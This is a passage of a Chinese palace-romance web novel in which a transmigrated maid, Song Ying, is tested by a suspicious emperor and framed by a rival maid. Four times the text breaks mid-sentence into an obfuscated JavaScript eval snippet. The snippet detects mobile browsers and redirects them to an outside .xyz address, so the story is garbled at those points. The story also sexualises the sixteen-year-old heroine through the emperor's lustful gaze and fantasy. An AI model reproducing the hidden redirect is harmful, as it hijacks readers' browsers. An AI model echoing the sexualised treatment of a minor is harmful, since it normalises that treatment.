宋迎照旧当人形背景板,尽量降低自己的存在感。 经过前天,她算是看明白了。 这位永昭帝性情古怪,卖惨扮柔弱这招,对他没用。 既然如此,她只好想想别的法子了。 起码争取个周单休吧! “兖州密报。” 突然,一个黑色身影闪现至御案前。 那人将火漆封口的密报放下后,再次化作残影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811266|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失了。 整个过程快如闪电。 宋迎慌忙垂下眼帘,非礼勿视,非礼勿听。 然而,下一秒,她却听见到一丝响动。 只见上首的永昭帝,竟兀然伏在御案上,双肩颤抖着,发出沉重的喘息声。 “陛下?” 她唤了一声,稍稍向前挪了几步。 待看清永昭帝那张惨白的脸,她才顿觉不妙。 不及多想,宋迎转身朝殿外疾步跑去,“润德公公!润德公公!快来人啊!陛下出事了!” 守在殿外的润德公公闻声入内,匆匆一瞥,便对宋迎急声道: “宋姑娘,你且先在此处照看好陛下,咱家这就去请太医!” “宋……迎……” 宋迎听到永昭帝唤自己,心头一颤。 她有些六神无主,转身又朝御案方向跑去。 此刻,永昭帝身形已有摇摇欲坠之势,一手按着胸口,另一只手撑着额头。 宋迎见状,下意识地想冲上台阶,伸手搀扶。 脚步还没踏稳,她便察觉到了一丝违和感。 这不对劲啊。 她脚尖一顿。 他身上的气息……虽然一如既往的令人讨厌,但不像是五感失控的痛苦,反而更像是精心营造出来的? 她飞快抬眼。 呼吸确实比平常偏急,脸色也略显苍白。 那看似涣散瞳孔的深处,却藏着一抹冷光。 演我? 宋迎心底冷嗤。 这是试探她什么? 因为黎婧容刺杀的事情,疑心到她头上了? 所以方才那声“密报”,才特意扬高了声调,生怕别人不知道似的。 这狗皇帝……是想让她察觉,他是受到了密报上的刺激,从而身体不适? 一来试探她对于密报有没有兴趣,二来试探她到底知不知道自己的作用。 真是个狗皇帝! 可明知是局,她又不能不硬着头皮往里跳。 上首的永昭帝将她瞬间的迟疑尽收眼底。 电光火石间,宋迎闭上了眼睛,长睫微颤。 瞅准方向,她上前一步,虚扶住永昭帝小臂。 随着她的靠近,那缕清甜气息愈发清晰可闻。 半阖的凤眸蓦地掀开一线,永昭帝望向宋迎。 她……没有碰那份密报。 “呵。” 永昭帝喉间溢出一声极轻的冷哼。 他又岂会真的愚蠢到让隐卫嚷嚷“密报”二字? 那不过是抛出去的饵,专等着鱼儿上钩罢了。 他自然是在演,是在试探。 他就是想看看,这个宋迎,会不会露出不该有的马脚,或者……露出半分窥探野心。 结果却出乎他意料—— 几乎在他设下圈套的瞬间,她便已洞悉了他的意图。 倒不真是个蠢的。 那么,便是城府极深了。 比起只会惹麻烦的蠢货,他向来更欣赏,能与他在棋盘上过招的聪明人。 然而,真正让他心神微动的,远不止于此。 随着她的靠近,他仿佛是在饮世间最醇美的鸩酒,让他沉溺,让他渴望,却又让他,在下一瞬生出更深的警惕与戒备。 永昭帝缓缓直起身子。 他垂眸,凝视着宋迎,她依旧紧闭双眼,但那双睫毛却抖动的愈发厉害了。 寝殿之中,终究局限。 或许,是时候将她置于一个更复杂、更叵测、也更能撕开所有伪装的地方,才能彻底看清—— 殿门外,润德公公早已领着侍卫屏息静候。 但殿内许久没了声响,碍于圣令,他也不敢擅闯。 良久,永昭帝开口道: “明日起,你,随朕上朝。” 宋迎:? 她猛地睁开眼,杏眸瞪得溜圆。 上……上朝?! 她一个宫女,去上朝?! 是觉得她骨骼清奇,长得特别能辟邪,往朝堂上一杵就能镇压国运、保江山万年? 她脑子里瞬间炸开无数烟花。 11. 第 11 章 今日,申时初刻,宋迎提早下了值。 但她却开心不起来,狗皇帝对她戒备心这么强,心眼子多得跟个蜂窝煤似的。 要她陪同上朝,肯定又是一桩要命的差事。 这种持续高度警惕、时时揣摩圣意,还要应对皇帝的阴晴不定。 ——对于她来说,简直就是巨大的精神消耗。 还真是伴君如伴虎。 宋迎一阵后怕,脚下险些趔趄。 不成,她必须苟住! 养精蓄锐,早睡早起,然后赶紧找个机会逃回家! 可是,她一背景板炮灰,该怎么逃? 宋迎想到了这本喷香的限制文。 ——原书百分之九十都是炒菜剧情,剩下百分之十,是为了加佐料,炒得更香、更刺激。 而她目前所经历,是反派永昭帝的旁支剧情。 就好像,女主某年某月某日去烧饼摊买了个烧饼。 那么,烧饼摊主在那天一定会出摊,并且一定会把烧饼卖给女主。 ——这就是所谓的“剧情锚点”。 但作者不会把烧饼摊主的一生写得一清二楚。 所以,除了剧情锚点之外,她这种背景板角色的行动轨迹,便拥有了极大的“剧情空白期”。 她就可以利用这个剧情空白期,为自己谋一条生路了! 按照原书时间线,目前剧情应该进展到: 凭着双修大法,黎婧容吸纳了男主的部分功力,不仅没怎么受伤,功力还大涨一截。 之后便是纯炒菜的循环:情意绵绵剑→双修吸纳→情意绵绵剑→双修吸纳,周而复始,黎婧容内力也一日千里。 而她就要撑到,下次黎婧容来找永昭帝复仇! 借着女主光环,趁剧情还没完全铺开,再逃出去! 只是,眼下永昭帝对她的态度戒备偏多。 但是又离不开她身上的气息安抚,偶尔的心软也不过是基于自身的需求之上。 虚伪的很。 狗皇帝多年不上朝,不就是怕朝臣窥探到他的秘密嘛? 如今要带着她同去,宋迎估摸着—— 已经到了他不得不出面的地步。 所以,带她上朝,既能借她安抚心神,助他重揽大权,又能顺势试探她和黎婧容之间的关系。 真是一箭三雕的好算计! 宋迎咬牙切齿地想着。 旁的她做不到,开个节能模式,让他多抓抓头发,她宋迎还是可以做到的! * 永昭帝龙袍曳地,斜睨了一眼垂首而立的宋迎。 今日的她,确实比往日安分了不少。 他鼻腔发出一声轻哼。 学乖了?知道他在试探,便索性摆出全然顺服的姿态,让他抓不到丝毫错处? 永昭帝微微眯起双眼。 他不喜欢这种脱离掌控的感觉,尤其是在他本以为能轻易拿捏的女人身上。 宋迎只觉头顶那道目光如有实质。 让她如芒刺背,如坐针毡。 她交握着藏在袖中的双手,将头垂得更低,恨不得自己在这朝堂消失。 “启禀陛下,虽说燕国覆灭已有数十载,但其旧部贼心不死,复燕势力亦有死灰复燃之象,于各地频频作乱。” 队列首位,身着绛紫一品朝服的老臣,手持玉笏,继续说道: “老臣听闻陛下雷霆手段,清剿了一股燕党余孽,特此为陛下贺,为大景贺!” 龙椅之上,永昭帝闻言,面上浮起淡淡笑意。 而笑意却衬得他眸中阴鸷更浓。 他暗中调动隐卫行事,高伯深是怎么知道的? 目光掠过阶下众臣,这朝堂之上,究竟还有多少双眼睛是高伯深的耳目? 永昭帝笑道:“爱卿的消息可真快啊。” 高伯深:“十二州秀女入京,地方州府为保一方平安,对辖下士族多加留意,防微杜渐,亦是分内之事。” “却不想兖州朱氏,竟与燕党暗中勾结,实乃国之蛀虫,理应严惩,以儆效尤!” “哦?”永昭帝似笑非笑地扫了高伯深一眼,“兖州朱氏满门落斩,依高爱卿之见,这般以儆效尤,似乎还不够?” 此言一出,不少官员暗暗吸了口凉气,这位高首辅,莫不是要…… 高伯深抬首,声音拔高: “对于燕党余孽及其同党,绝不可姑息养奸,心慈手软!当——诛、其、九、族!” 最后四个字,直愣愣劈在宋迎的头顶。 宋迎瞬间愣怔,交握的双手一松,指尖冰凉,浑身止不住地剧烈抖动起来。 这不就是原本辽州宋氏的结局吗?! 因为她的介入,现在,这个命运被安插在了旁人头上! “好!哈哈哈!好一个诛其九族!” 永昭帝抚掌朗笑,“高首辅此言,深得朕心!朝堂诸公,皆当以高首辅为表率,学其忠贞,效其刚正!” 帝王金口玉言,一锤定音。 这跟听自己家人的宣判令有什么区别! 宋迎狠狠掐住自己虎口。 震惊、恐惧、后怕、庆幸。 她甚至分辨不清哪种情绪占了上风,只知道胸口闷得厉害,快喘不上气了! 穿越十六年,她本该习惯的!她已经习惯了啊! 可等到亲耳听闻“诛九族”的时候,她还是低估了封建王朝的残酷性,也高估了自己的承受能力! 尽管内心翻江倒海,宋迎还是极力克制着几乎要崩塌的情绪。 不知过了多久,朝会终于结束。 群臣鱼贯而出,宋迎强撑着双腿,跟在永昭帝身后,预备返回万春殿。 脚尖跨过门槛的刹那,宋迎眼前突然一黑,整个人栽了下去—— 前方明黄龙袍倏然一顿,永昭帝转身看向倒地的宋迎。 凤眸微眯,掠过探究。 她在耍什么花招?又是博取同情的小伎俩? 今日朝堂之上,那高伯深提出“诛九族”之时,他分明瞥见这女人瑟缩了一下。 她在害怕。 只是她掩饰的滴水不漏,低垂眉眼间,一派恭顺,挑不出端倪。 永昭帝目光落在她身上。 发髻微乱,几缕青丝贴在脸颊旁,双眸紧闭,羽睫轻轻颤动。 整个人看上去,竟有几分……可怜。 是的,可怜。 这个词毫无预兆地从心底浮现,荒谬得连永昭帝自己都哂笑了一声。 这个三番两次在他面前扮柔弱博同情的女人,他居然……还会觉得她可怜? 真是荒唐。 另一侧,润德公公躬身道: “陛下,奴才这就叫人将宋姑娘抬回万春殿,再请太医……” “不必。”永昭帝冷声打断。 难保不是一出里应外合的苦肉计! 润德公公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811267|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心道,陛下这是要拂袖而去了。 他正要躬身,却瞥见—— 龙袍微动,永昭帝弯下了腰身。 他伸出双臂,将地上那具纤细身体,打横抱了起来。 宋迎的身子很软,也很轻,几乎没什么分量,下意识收紧了手臂。 颌下便是幽香发丝,丝丝缕缕,带着清甜香气,搅得心湖微乱。 “……宣太医。” 永昭帝的声音,竟比方才哑了几分。 润德公公连忙垂首,眼底惊愕掩去,识趣退下。 永昭帝一路抱着宋迎,直至万春殿,将她安置在锦被之上。 他凝视着近在咫尺的宋迎,颈项纤细白皙,青色血管若隐若现,泛着诱人的光泽。 他做不到像那晚一般,被欲望支配,沦为兽类。 理智尚存,可心底里,却有一股更强大、更原始的冲动—— 在诱惑着他沉沦、怂恿着他沉沦,蛊惑着他沉沦。 挣扎。 犹豫。 下一瞬,仿佛被蛊惑了一般。 他的脸,还是慢慢地、不受控制地贴了上去,带来一阵奇怪的战栗感。 心旌动摇至此。 * 朝会散去,百官次第退出金銮殿。 高伯深不急不徐地踱着步,身侧,吏部侍郎亦步亦趋地跟着。 行至一处僻静,吏部侍郎低声道:“首辅大人,今日陛下身侧那位……宫婢,大人可曾留意?” 高伯深脚步未停:“傅大人也瞧见了?陛下正值鼎盛之年,倒也寻常。只是不知,傅大人特意提及,是何用意?” 话毕,高伯深倏然站定,侧过身,眼神直直望向他。 吏部侍郎被盯得心头一跳,连忙躬身道: “下官不敢有何用意。只是……咱们这位陛下,自登基以来,鲜少临朝,后宫亦是空置许久,更遑论亲近女色。” 高伯深上下打量了他片刻,才幽幽“嗯”了声,又迈开步子朝前走去。 “那宫女,原是今年甄选的十二州秀女之一。或许是圣心偶有所动,瞧着眉眼,倒是清秀。” 吏部侍郎叹道:“宫女而已,终究……” 高伯深意味深长地瞥了他一眼,“今年十二州秀女,皆因牵涉燕党余孽,入宫未满十日,便已悉数殒命。” “唯她,独活。” 高伯深话锋一转,似是闲聊般问道:“说起来,傅大人府上千金,闺名……老夫有些忘了,年岁几何了?” 吏部侍郎恭敬答道:“回首辅大人,小女贱名兰月,年已及笄,平日里也算……也算娴静知礼。” “及笄好啊,”高伯深点了点头,“正是如花似玉的好时候。” “陛下身边仅一宫女侍奉,恐有不周之处。这宫里,是该添些伶俐通透的丫头进来分忧了。” “首辅大人的意思是……让小女也、也入宫为婢?” 吏部侍郎这话问出口,已是带了几分屈就和不甘。 “傅大人,‘婢’之一字,用得不妥。能入宫侍奉,是为君分忧,光耀门楣之事。” 高伯深拍了拍傅侍郎的肩,笑道:“傅大人是个聪明人。有些机会,错过了,可就再难寻了。” 吏部侍郎不敢再有丝毫犹豫,深深一揖到底,“首辅大人提携之恩,下官……下官与小女没齿难忘!一切……全凭首辅大人安排!” 高伯深这才微微颔首,甩袖离去。 12. 第 12 章 宋迎悠悠转醒,记忆还停留在下朝时。 群臣拜别,圣驾远去…… 下一瞬,她猛地睁开眼。 绫罗幔帐,流苏轻垂。 这、这是万春殿?! 她反应过来,一激灵,坐直了身子,便见不远处的花梨木圆桌旁,一人倚着圈椅,目光落在手中书册上。 听见动静,眸光又转到了她身上。 狗皇帝怎么在这? 不对,我怎么在这?! 没等宋迎理清思绪,永昭帝已经合拢书卷,起身,朝床榻逼近。 宋迎想爬下床,却已然来不及。 她慌忙屈膝跪好,“奴婢失仪,请陛下降罪!” 永昭帝冷哼一声,在她方才挪开的床沿边坐了下来。 明明是宽敞的龙床,二人之间的距离却骤然缩短至咫尺。 宋迎又往床里缩了缩,恨不能把自己嵌进床壁里去。 永昭帝见状,墨眉蹙了蹙,似有不满。 他长臂一伸,撑在宋迎身侧的锦被上,整个身躯微微前倾,压迫感瞬间笼罩下来。 “省了这些虚礼罢。”低沉嗓音在头顶响起,“太医瞧过了,说你不过是惊惧过度,兼之近日劳累所致。” 宋迎眼帘低垂,安分地跪在床上。 永昭帝的目光在她细白颈间停了一瞬。 他方才就察觉到了,她今日身上的那股子淡香,确实不如往日那般清甜馥郁。 倒像是雨后被摧残过的花苞,虽仍有余香,却失了那份饱满欲滴的生机,花瓣都蔫蔫地蜷着,再也沁不出诱人的蜜露。 不过无妨,这样的花儿,只需他稍加浇灌,总会重新绽放—— “朕思忖过了,你这身子骨着实娇弱了些。往后,便每当值一日,准你休沐一日吧。” 宋迎闻言,先是一整,随即嘴角漾起笑意。 “奴婢……叩谢圣恩!” 永昭帝望着她眼底雀跃,眸色深了深。 施恩于她,令她放松警惕,或许能更快地引出她身后蠢蠢欲动的老狐狸。 一箭双雕,不失为一步好棋。 这时,润德公公躬身而入: “启禀陛下,吏部傅侍郎差人传话,听闻陛下身边仅有宫女一人侍奉,恐多有不便。” “侍郎忧心圣躬,欲献家中次女入宫,为陛下分忧解劳。” 永昭帝面色一沉,吏部……是高伯深的人。 此番献女,背后定然是高伯深那厮的授意,名为分忧,实则安插眼线,试探虚实。 那老狐狸的爪子倒是伸的够长。 他本想开口驳斥,让润德将人打发了。 念头一转,却又瞥了眼床榻上那双悄悄竖起的耳朵。 今日朝堂之上,宋迎的惊惧,可不似作伪。 不妨将此女放入宫中,自己作壁上观,看看这池水究竟能被搅得多浑。 再者,若一口回绝,自己方才那番体恤之言,倒显得刻意了。 思及此,永昭帝:“傅侍郎有心了,那便……留下吧。” 一旁,宋迎耳朵尖动了动,看来狗皇帝的日子也不好过啊,都让人把眼线安家门口了! 永昭帝余光扫过那张八卦小脸,“身子也无大碍,便先回自己屋里歇着罢。” 宋迎乖巧应下,麻溜地退出了万春殿。 哼狗皇帝这是要支开我,跟润德公公说悄悄话了吧? 她前脚刚踏出万春殿,还没走出几步远,身后便传来了润德公公的声音: “宋姑娘请留步!” 宋迎疑惑回头,便见润德公公几步赶了上来: “姑娘,陛下特意吩咐了,您身子初愈,往后您的三餐饮食,皆可提前告知膳房,让他们按您的口味备着。若有什么想吃的,只管说便是。” “真哒!” 睡觉和吃饭可是宋迎的头等大事,狗皇帝突然良心发现了? 她转念一想,又觉得理所当然。 哼,那必然是良心发现了!早该这样了,她如今可是攥着狗皇帝的命根子,可不得待她好些。 “咱家哪敢诓姑娘您呢。” 润德公公笑了笑,“那咱家就先去宫门口接新人了,待会儿,自会有膳房的内侍去偏殿寻您点膳。” “哎呀,那多麻烦!” 宋迎一听说明日能休沐,又得了这等特/权,浑身都充满了干劲儿。 她笑得眉眼弯弯:“公公且去忙您的,奴婢自个儿去膳房点便是,还能顺道去给公公您讨一碗您最爱吃的莲花酪!” 润德公公失笑,用手指虚虚点她: “你这小丫头,分明是你自个儿馋那口莲花酪了吧!” 宋迎不恼,理直气壮道:“人活在世上,谁能不喜欢莲花酪?一碗不行,就两碗。” “哈哈哈哈!” 润德公公瞅着宋迎竖起的两根手指,朗声大笑起来,“好好好,说的有理,那咱家便等着宋小姑娘讨的莲花酪了。” 说罢,他笑着摇了摇头,转身朝着宫门方向去了。 * 朱红宫墙巍峨耸立,隔绝了宫内宫外。 宫门口,寒风吹打在傅兰月单薄的衣裙上—— 是她的父亲,一步步将她送到了这禁宫前。 几个时辰前,父亲从宫中回来,破天荒地将她这个庶女唤至书房。 母亲闻讯赶来,哭得撕心裂肺,哀求父亲收回成命。 她不明所以。 父亲却只是淡淡拂开了母亲的手,转头对她说道: “月儿,你自幼不善琴棋,书画一道也无甚天赋,便是管家理事,亦远不如你长姐聪慧伶俐。” 父亲的声音冷硬,“如今宫中正是用人之际,你容貌尚算出挑,若能得圣上青眼,于你,于傅家,皆是泼天富贵!” 寥寥数语,便决定了她傅兰月的往后余生。 她是家中次女,姨娘所出。原也定下了一门清贵人家,只待及笄,便可出嫁。 饶是这么个没影的富贵,父亲便可舍了她。 可父亲口中的机会,也不过就是去御前当个粗使宫女。 宫闱深深,圣上性情乖僻。 父亲才舍不得嫡姐去呢。 傅兰月垂着头。 润德公公已在宫门口候着,见到傅兰月红肿的双眼,心中了然。 “傅姑娘,请随咱家来吧。” 傅兰月用袖子胡乱擦了擦泪痕,提着裙摆跟上。 泪水是咸的,但她好怕,好怕以后的日子是苦的。 父亲这般残忍,但有一点,没有说错—— 她只有得了圣上青眼,便是泼天富贵。 是她的生路, 也是她唯一的指望。 最初的日子,傅兰月如履薄冰。 她被安置在宫女所的屋舍,除了每日送来的份例膳食和一日三次的定期沐浴,剩下的,便是等待。 她不知自己要做什么,也不知未来会如何。 直到月余之后,一道旨意下来,她被封为“御前三等女侍”,才有了在万春殿外听候差遣的资格。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811268|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她垂首侍立在殿外阶下,想起入宫前父亲的叮嘱。 “圣上身边,如今只留了一位宫女,名叫宋迎。” “此事大有文章。月儿,你此去,能争则争。若争不得,便退一步,务必将此女的底细查个水落石出。” 一个能让天子独留身边的宫女…… 那哪里还是宫女,分明是尊没有名分的娘娘。 若当真如此,这宫里,还有她傅兰月的活路吗? 第一日当值,她与润德公公一同候在万春殿外,并未见到其他人。 第二日,却见一个身着四等宫女服饰的女子蹦蹦跳跳地进了万春殿。 粉绿宫装? ……那衣裳制式分明不对,礼制宫规有云,只有一等及二等宫婢才能入殿侍奉,她怎么能? 第三日,那女子又没了踪影。 第四日,那抹粉绿身影再度欢快现身。 傅兰月终于按捺不住,趁着四下无人,小声问润德公公:“公公,那位姐姐……她身上的宫装,似乎并非御前侍奉的规制?” 润德公公淡淡道:“此乃圣意。” 傅兰月不死心追问:“那……她为何时而当值,时而又不见踪影?这般……散漫,也无妨么?” 润德公公依旧是那句:“此乃圣意。” 两句“此乃圣意”,让傅兰月心中对这位宋迎更是好奇。 “公公,不知那位姐姐居于何处?可否……容兰月前去拜会,日后也好共事?” 这次,润德公公终于有了些微不同的反应。 他略抬下颌,朝着万春殿不远处,随意一指。 傅兰月顺着他示意的方向望去,目光触及之处,瞳孔骤然紧缩—— 那是……紧邻天子寝宫的偏殿。 这偏殿紧邻万春殿,说是卧榻之侧也不为过。 唯有亲王,或……盛宠尤渥的妃嫔,才敢肖想一二。 宋迎居然住在那? 若宋迎当真是陛下心尖上的人,自己这点微末伎俩,恐怕还不够人家一根手指头碾的。 争?拿什么去争? 是她想的太过天真了。 心思既定,傅兰月:“多谢公公指点。” 此后数日,傅兰月当值愈发谨慎。 她垂首敛目,时刻留意着万春殿的动静。 越是留心,她便越是发现这位宋姐姐当真与众不同。 内殿禁地,饶是润德公公,也需传召方可踏入。 可宋迎却能捧着茶点,在内殿出入自由。 更让傅兰月心惊的,是陛下的变化。 陛下素来龙威深重,即便站在殿外,也能感受到那股迫人威压。 但宋迎当值的那几日,傅兰月总觉得,陛下传召声音少了几分冷硬,翻阅奏章的声音也少几分焦躁。 终于,她窥见了一角真相。 那日,润德公公用膳未归,殿外只有她一人。 鬼使神差地,她的视线粘在了门缝上—— 只见宋迎拨正了榻边炭,起身时,一枚珞子从她袖间滑落,坠在地毯上,悄然无声。 她浑然未觉,垂首侍立一旁。 而榻上假寐的天子,却不知何时睁开了眼。 目光落在小小珞子上。 接着,傅兰月看见了—— 永昭帝捻起那枚珞子。 然后,凑至鼻端,闭目轻嗅。 傅兰月震惊地瞪圆了双眼。 殿内,宋迎似有所感,蓦然回首。 傅兰月浑身一僵,这才慌忙垂头。 13. 第 13 章 自从混上“上一休一”的班次后,宋迎在心里蛐蛐狗皇帝的次数都变少了。 顶头上司是个好说话的菩萨,新来的搭档又是个顶级I人,一天说不了三句话。 这职场环境,简直就是天堂。 安逸日子是糖衣炮弹。 直到换上冬制宫装,她才姗姗记起自己的回家计划。 原书里,黎婧容与永昭帝的交集是在冬天。 黎婧容见打不过反派,便假扮膳房内侍,在狗皇帝生辰宴上,给他下毒。 重点是—— 谁看小说会去记一个反派的生日的啊?! 宋迎根本不知道几月几号! 只能从作者的环境描写和人物服饰上推断,大约是在冬季。 眼下,已然入冬。 计划必须立刻提上日程。 黎婧容的那碗毒汤,虽然要不了狗皇帝的命,但足以废掉他大半武功,在宫中制造内乱。 趁着这场大乱,男女主会躲在泔水车里出逃。 自己在旁边蹭一个桶也不过分吧? 宋迎都盘算好了,男女主都能钻,她为什么不能? 这个计划天衣无缝,最大的阻碍就是—— 男女主无父无母,跑了也就跑了。 她要是跑了,万一狗皇帝下追杀令怎么办? 宋迎在磨墨。 指尖捻着墨锭,里一圈又一圈,在砚台里画着。 思及此,紧张到手下磨墨的速度,不自觉地慢了下来。 “啪!” 朱笔被重重掷于笔架之上。 “宋迎!” 永昭帝不悦地偷瞥了眼宋迎,研墨的速度是越来越慢了,也不知在想些什么。 如今睡也睡好了,吃也吃好了,闲暇时虽弄不得书画,但也允了她针线活玩。 她还有什么不知足的?! 呵斥声惊得宋迎心一跳,触及永昭帝愠怒眼眸,更是慌忙撇开视线,恨不得将头埋进砚台。 这狗皇帝今天吃错药了?平日里把他那些破奏章当宝贝疙瘩似的防着,今天居然主动叫人来御前磨墨? 真是太阳打西边出来了。 算了算了,碍于目前工作待遇实在太好,宋迎直接把职业素养拉满。 手上速度骤然加快,力道均匀,姿态标准,极其专业。 然而,宋迎不知道的是—— 永昭帝的怒火,在她低头的瞬间,已然变了味道。 他的视线,从她惊慌的脸上,缓缓下移,落在了那只不停转动的手上。 那四根手指葱白修长,指甲修剪得圆润整齐,透着莹白,像上好的羊脂玉。 偏偏是这样一双手,握着粗粝的墨锭,在他面前一圈一圈地转动。 细嫩的肌肤与漆黑的墨锭形成反差。 一种诡异的靡丽感,在他眼前挥之不去。 尤其是那根微微上翘的小拇指,有意无意地,一下又一下地,拨动着他心弦。 永昭帝的喉结,似是痉挛般,滚动了一下。 她站着,他坐着。 她低着头,温顺得像一只毫无防备的羔羊,对他内心那些肮脏的念头一无所知。 而他,正在肆无忌惮地看着她,肆无忌惮地闻着她的气味。 她站在雕柱旁时,闻不到。 她挪到御案前时,还是闻不到。 直到此刻,她奉命磨墨,终于站在了他身侧。 那股气息,终于丝丝缕缕地钻入鼻息。 ——终于闻到了。 永昭帝闭了闭眼,几乎要发出一声满足的喟叹。 他的目光重新落回她手上,描摹着她每根指节,在想着: 若她手中握着的不是这冰冷的墨块……而是别的、更滚烫的东西,又会是何种光景? 这个念头瞬间烧得他口干舌燥,呼吸都变得粗重起来。 天色渐晚,殿内烛火摇曳。 昏黄的光晕,恰好落在宋迎低头时,露出的那一截皙白的后颈上,像是瓷器上刷了层蜜。 他还是有些不满,她站得太远了。 一股更加凶猛的、原始的冲动,狠狠撞上了他的理智。 ——想扑上去。 ——想用牙齿磨蹭那片脆弱的肌肤。 “咔嚓!” 有什么东西断了。 宋迎猛地一惊,愕然转身。 却直直撞进了一双野兽般的眼眸里。 那双眼睛里,盛满了浓稠的欲望,像是要将她生吞活剥。 被硬生生折断的朱笔,从他指间滑落。 宋迎:! 她的心脏,在那一瞬间,漏跳了半拍。 她知道那是什么眼神。 那是捕食者盯住猎物的眼神,是最原始的欲望。 但这个世界的她,才十六岁。 还未嫁人,便是什么都不应该懂,也必须是什么都不应该懂。 她要是被看穿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811269|175247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,麻烦就大了。 宋迎眨了眨眼,那双惊恐的眸子瞬间被茫然无辜所取代,露出了一个怯意疑惑的表情。 这堪称奥斯卡影后级别的表演,终于让那头失控的野兽找回了一丝理智。 永昭帝的胸膛剧烈起伏,像是要掩饰方才的失态。 他借机发作,“放肆!君前失仪,还不给朕——下去!” “滚”字到了嘴边,又咽了回去。 他自己都愣了一下。 宋迎也愣住了。 但她很快反应过来—— 这是要提早下班的节奏啊! 心里算盘打的噼啪响,挨一句骂换一个早退,这买卖,血赚! 掩去眼底狂喜,宋迎福了福身子,退了出去。 望着她仓皇离去的背影,永昭帝靠在龙椅上,既是如释重负,又是无尽空虚。 他闭上眼,身体里那股刚刚被强行压下的燥热,再次叫嚣起来。 他正烦躁不堪,但殿门口的一席话,又让永昭帝身心紧绷起来。 宋迎今日散值的早,刚走到殿前,就被一道身影怯生生地拦住了去路。 她认得对方,那个姓傅的姑娘,据说是权臣高伯深安插进来的眼线。 两人当值也常见面,但都默契地维持着疏离的客气。 傅兰月总是垂着眼,而宋迎,则根本不想与任何麻烦扯上关系。 多一事,不如少一事。 宋迎脚下刚要错开,那人却先开了口。 “宋姐姐。” 宋迎疑惑回头,“傅姑娘有事?” 感受到宋迎略显生硬的态度,傅兰月咬了咬下唇,从怀里掏出一物,捧在手心。 “这是……前几日我在庑廊下捡到的。思来想去,宫里也没旁人,便是姐姐落下的了?” 是一枚珞子。 浅绿色的。 殿内,永昭帝闻言呼吸一滞。 宋迎神色微怔,下意识地伸手探了探自己的衣袖—— 果然空空如也。 想来是哪日走路太急,不慎遗落了。 “……多谢傅姑娘费心。” 她伸手接过,将珞子收进了怀里。 不对—— 不对——! 她的珞子分明还在自己身上! 永昭帝从贴身衣袋里抓出那枚浅绿绳结,由于针脚不好,看上去还有些粗糙。 那是他为了嗅闻她气味,而偷偷留下的珞子。 14. 第 14 章 宋迎只当那珞子是自己不小心才落下的。 尚未回身,迎面便撞见了润德公公。 她矮身行礼,却听身后的傅兰月补了句: “宋姐姐,这珞子里的纸条……我已经替你扔了。你可千万,别走错了路。” 傅兰月的声音不大不小,刚好能被润德公公听见。 宋迎:? 她还未开口,身后傅兰月戏份已经做足,身子软得跪了下去,哭得梨花带雨。 “公公救我!奴婢……奴婢再也不敢了!” 她声泪俱下,每句话都像排演了千百遍,“是宋姐姐……她、她私下打探圣上喜好,还命奴婢……与宫外之人传递信物……奴婢怕事情败露,这才想劝她悬崖勒马——!” 一番话,说得前言不搭后语,却把“私相授受”、“勾结外臣”、“刺探君情”几顶大帽子扣在了宋迎头上。 润德公公的脸色瞬间沉了下来。 殿内,永昭帝姿势未变。 他摩挲着那枚珞子,指腹下的丝络温软,一如其主。 他静静地听着。 听着那个傅氏,如何编织拙劣的谎言。 听着润德越发凝重的呼吸声。 也听着……唯一清晰的、平静的,宋迎的心跳声。 她,不怕。 永昭帝眸色倏地,暗了下去。 ——此刻,这枚证物,正躺在他掌心。 一瞬间,永昭帝便洞悉了所有关窍。 这是一场局。 这是一场早就设好,等着宋迎一头撞进来的局。 高伯深的目标……不是他,而是他身边不起眼的小宫女? 滔天怒火未及宣泄,更为阴冷的寒意擒住了他。 是后知后觉的,连他自己都鄙夷的心虚。 永昭帝骤然意识到,若非自己一时兴起,行了这桩荒唐事,怎么会被人瞅准破绽,令她被人蒙害? 是他,抽走了她自证清白的底牌。 是他,让她陷入了这般百口莫辩的境地。 